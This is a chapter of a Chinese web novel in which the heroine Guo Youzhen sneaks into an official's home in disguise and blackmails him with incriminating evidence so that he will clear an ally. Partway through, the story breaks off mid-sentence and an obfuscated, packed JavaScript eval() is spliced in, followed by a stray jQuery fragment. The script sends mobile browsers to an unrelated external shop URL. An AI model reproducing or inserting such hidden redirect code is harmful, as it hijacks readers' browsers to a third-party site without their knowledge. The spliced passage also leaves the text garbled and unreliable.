第二日,没有丝毫犹豫,她便小心翼翼地揣着这张字条来到了赵府门前。
郭幼帧并未直接找人通报,而是站在府门前的一个角落里看着来来往往的人。
因为她知道就算是她拿住了这把柄,到了院门得到的也只会是一句大人公务繁忙,恕不接客。
这已经是她不知道多少次受到的敷衍了,现在的她学乖了。
既然正门不行,那她就试一下偏门吧。
一个送菜的大姐由远及近的从她身边走了过去,她的目标和方向明确,直直的便奔着赵府的后门而去。
而郭幼帧望着她,眼疾手快地立刻便将人拦了下来。
“大姐,你这菜是送往赵府的?”
那送菜的大姐上下打量了她一番,虽然有些不解,但还是点了点头。
刚要继续走,郭幼帧就又将她拉了回来,只见她从自己的怀中掏出了一锭银子,摆在了那人的面前,微笑着说:“我跟你换衣服,你这菜由我送进去,这银子就是你的。”
这话说的直白,没有丝毫的铺垫。
那送菜大姐看着郭幼帧手里的银子瞬间两眼放光,那是一个大银子,足有五两之多,她几乎是没有丝毫犹豫就点头同意了。
换好了衣服之后,郭幼帧低着头小心翼翼地挑着扁担往赵府的小门走去。
那扁担她用的不好,学了好半天才有模有样。
门口的管事正在记货,老远便看到了挑菜的来,低着头,随口一说:“孙姐,今日送菜来得有些晚啊。”
说罢,便在自己的记账本上画了一个勾,可再抬头时却看到了一个陌生的面庞,便立马拦住了她:“你是谁,赵姐呢?”
郭幼帧的一只脚已经踏进了门里,另一只脚留在门外,突然被拦,本就忐忑不已的心跳的更急了,可她仍然不慌不忙的回答:“我是赵姐的侄女,我姨生病了,今天让我来送。”
管事听她这般说狐疑的望了她一眼,嘟囔了一句:“只听过她有个儿子,没听过还有个侄女儿啊。”
郭幼帧立马接口:“我表哥昨天放羊摔了腿,也不能来,所以她才没办法让我来的。”
管事的听了,也不知道在想些什么,又望了她两眼,似乎是也没有看出什么异常,最后随手一挥:“行吧行吧,你进去吧,在府里别乱走啊,送了菜赶紧出来!”
郭幼帧点头,立马如释重负,歪歪斜斜的往里面走。
她随着人流将菜放进了厨房,又趁着现在众人繁忙,四下无人在意,脚底抹油般溜出了厨房,穿过垂花门,越过花园,开始在赵府中四处找寻起赵琰的身影来。
虽说被停了职,但郭幼帧仍然知晓这朝堂上的蝇营狗苟。
今日休沐,她看了一整日,赵琰并未出门,那就说他此时一定还在府中。
书房,她最早找的就是书房。
果然,人在里面。
看了看周围,发现并没有人注意到她之后,这才悄无声息,甚至连门都没敲,便大摇大摆地直接推开房门走了进去。
此时的赵琰正在批改政务,听到门响的瞬间下意识抬头,却看到了一个陌生的面庞逆着光走了进来。
“你是谁,怎么进来的?你要干什么?!”他大声呵斥。
刚要喊人,却被郭幼帧打断。
“别急啊赵大人,有话好好说。”
可赵琰却充耳不闻,他立刻大喊:“来人啊。”
郭幼帧见他这般冥顽不灵,冷笑一声,立刻拿出了自己的杀手锏,大喊:“西郊村冥婚,儿童失踪。”
话音刚落,门外突然就冲进了几个家丁。
“老爷!”见着郭幼帧,几人立刻上前就想要将她强行拿住拖出。
可谁知赵琰却在听清刚才她说的那些话之后,立刻神色大变,大手一挥,厉声喝止:“慢着,你们先出去,我不叫你们进来,别进来!”
已经触碰到郭幼帧的手在听到自家老爷这般说之后,立刻愣住了,有些丈二的和尚摸不着头脑,虽然不知道为什么赵琰会这般朝令夕改,但终归是在人家家里混饭吃,还是听话的走了出去。
见到人走了,赵琰这才起身走到门前小心翼翼地将门锁好。
站在门口上下打量起眼前的人来,身形、身高,面目,只是他望着这人半天,脑海中的记忆翻涌了一次又一次,就是记不起来这人是谁,或者说他压根就没见过她:“阁下是谁?到这来究竟有何贵干?”
郭幼帧听他这样问,一时间并未回答,而是不客气的走到了他的太师椅前,毫不犹豫地坐了下去。
她仰着头轻蔑地看着面前站着的赵琰说道:“我是谁不重要,重要的是我知道大人做了什么。”
她冷笑着,只是心中不免打鼓,她在诈他,而现在的她不能慌。
赵琰却看着人冷面,突然笑了:“我做了什么?阁下这话太模棱两可了,我一个奉公守法的好官,又会作什么?”
可郭幼帧听到这样说之后笑得更急了,她望着他桌子上的那些勤勤恳恳地政务,那上面的字迹黑色,爬行,冠冕堂皇,像是这些热闹虚伪的一生。
随即她便随意的从一旁拿起了一根朱红,打了一个大大的叉在上面:“赵大人你是真糊涂还是装糊涂,我刚才不是说过了吗,西郊冥婚,儿童失踪。”
这话说完,赵琰的脸白了一瞬,但很快又恢复了常态:“你在说什么,我听不懂?是有人失踪吗?这事你应该找县衙,而不是……”
他的话没说完,郭幼帧便将那朱笔一投,掷在地上,溅起了一抹血痕,她大声说:“赵大人,别装糊涂了,你知道我在说什么。”
只是话说完之后,赵琰却不说话了。
突然他开始冷冷的笑:“你知道又如何,没有证据,谁能知道是我做的。”
他在自己家中,周边没有人听到,也没有任何一切的证据,证人,想说什么都可以。
可郭幼帧却并没有如他想象般那样惊慌,似乎是早就料到了他会这般推辞拒不认账,不急不躁地就从自己的怀中拿出了一张字条,放在了桌子上,然后又拿起了赵琰桌子上刚刚被打了一个大红叉的政务放在一起,举起来给他看:“赵大人不会不认识这东西是什么吧?”
看到字条和上面的字,原本还有些淡定的赵琰立刻慌了。
他记得,他怎么会不记得呢,这是他当时为了毁尸灭迹随意撰写的唬人的字条,他明明叮嘱过那些人看完之后立刻烧掉的,怎么会……怎么会现在还留着?
甚至还落入到了眼前的人手中。
惊骇之后便是恼羞成怒,赵琰立刻猩红了双眼,猛地飞扑了过去想要上手去夺,还好郭幼帧眼疾手快收回了手来:“哎,大人别急啊,这证物可是我好不容易得来的,你这要是撕了可怎么行。”
猜对了。
她说的轻描淡写,可那里衣却早已被冷汗浸透了。
赵琰看到她这般,只能回神起身,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877390|202111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
双眼怒火,阴冷说道:“说吧,你想要什么?钱、权,还是……”
赵琰以为她想要的不过就是这些,世人贪恋权财,拿捏住别人的把柄,不过是想要得到这些高高在上罢了。
可谁知郭幼帧却摇了摇头:“不不不,钱和权我都不要,我要你帮我一个忙?”
“什么忙。”
郭幼帧站起身,双手支立在桌子上,往前探了一探身子,望着赵琰说:“明日上朝给张砚脱罪!”
这话说完,赵琰立刻便瞪大了眼睛,他咬着牙看着郭幼帧恶狠狠地说:“你到底是谁?!”
只见郭幼帧立刻收回了身形,悠然落座,瘫坐在了那把大大的太师椅上,仰头望着他说道:“不愧是赵大人,能察觉出不对。”
似是夸奖,但嘲讽意味十足。
话音落下,在赵琰惊诧的目光,她抬手,毫不犹豫地撕掉了脸上贴敷的伪装,露出了真的脸来。
看清那张脸的瞬间,赵琰瞳孔皱缩,瞬间面色铁青,他死死地盯着眼前的人,咬牙切齿地说:“郭幼帧!”
“别急嘛,赵大人,我们熟人见面怎么能这样剑拔弩张。”她笑得开心,似乎是很欣赏现在赵琰这般生气的样子。
只是狂跳的心脏却有些出卖了她。
“你就不怕我把你杀了留在这里吗?”
郭幼帧的心因为这句话停滞了一下。
因为她知道赵琰一定能够做到,可她现在不能慌,她要赌,所以她笑得更灿烂了:
“赵大人,我既然敢只身前来就一定留了后手,你当真以为我拿的是你的真迹吗?”
赵琰心头跳了一下:“你什么意思?”
“哼,”郭幼帧冷哼一声。
“这不过是我临时描摹的罢了,你的那张真迹早就让我藏起来了,我若是今日没有从这里安全出去的话,明日,你这张纸条的证据便会送到御前,届时所有人都会知道你做了什么,这恐怕不是你能够承受的了的吧。”她挑了一下眉,带着挑衅。
“郭幼帧,你威胁我!!”
“对,我威胁你。”郭幼帧脸上的弧度瞬间收敛,前一秒还带着的戏谑笑意荡然无存,取而代之的是冷冷的杀意。
她微微倾身,极具压迫的注视着赵琰。
可面对这样的郭幼帧,赵琰没有任何办法,只能认命的站在原地。
自己今日的目的已经达成,郭幼帧慢条斯理地站起身来,仰面大笑:“没想到啊没想到,赵大人你也有会被人要挟的一天。”
御史中丞,向来弹劾的都是别人的罪过,又何时自己吃过这种哑巴亏?
她越过他的身躯,朝外走了两步,但还未走到门口,便又停了下来,转头望着仍在背对着她的赵琰说道:“赵大人,记住我们的约定哦,如果明天你不为张砚求情的话,那这字条还有其他的一些证据便会传遍大街小巷,想来你也不想自己的家族步了王家的后尘,不是吗?”说罢,她便头也不回的走出了门去。
只是与面上的轻描淡写不同,刚才的郭幼帧几乎是攥着手心说出的这番话,说完之后那腿便已经瘫软无力了,若是再迟疑一点,恐怕率先撑不住的会是她自己。
因为只有她知道,除了字条之外,她再无任何可以用来威胁赵琰的东西,刚才的她几乎是强忍着演完的那出戏,不敢有分毫差错,唯恐赵琰真的破罐子破摔将她留在这里。
但好在直到她走出了赵家,身后都没有任何地声响。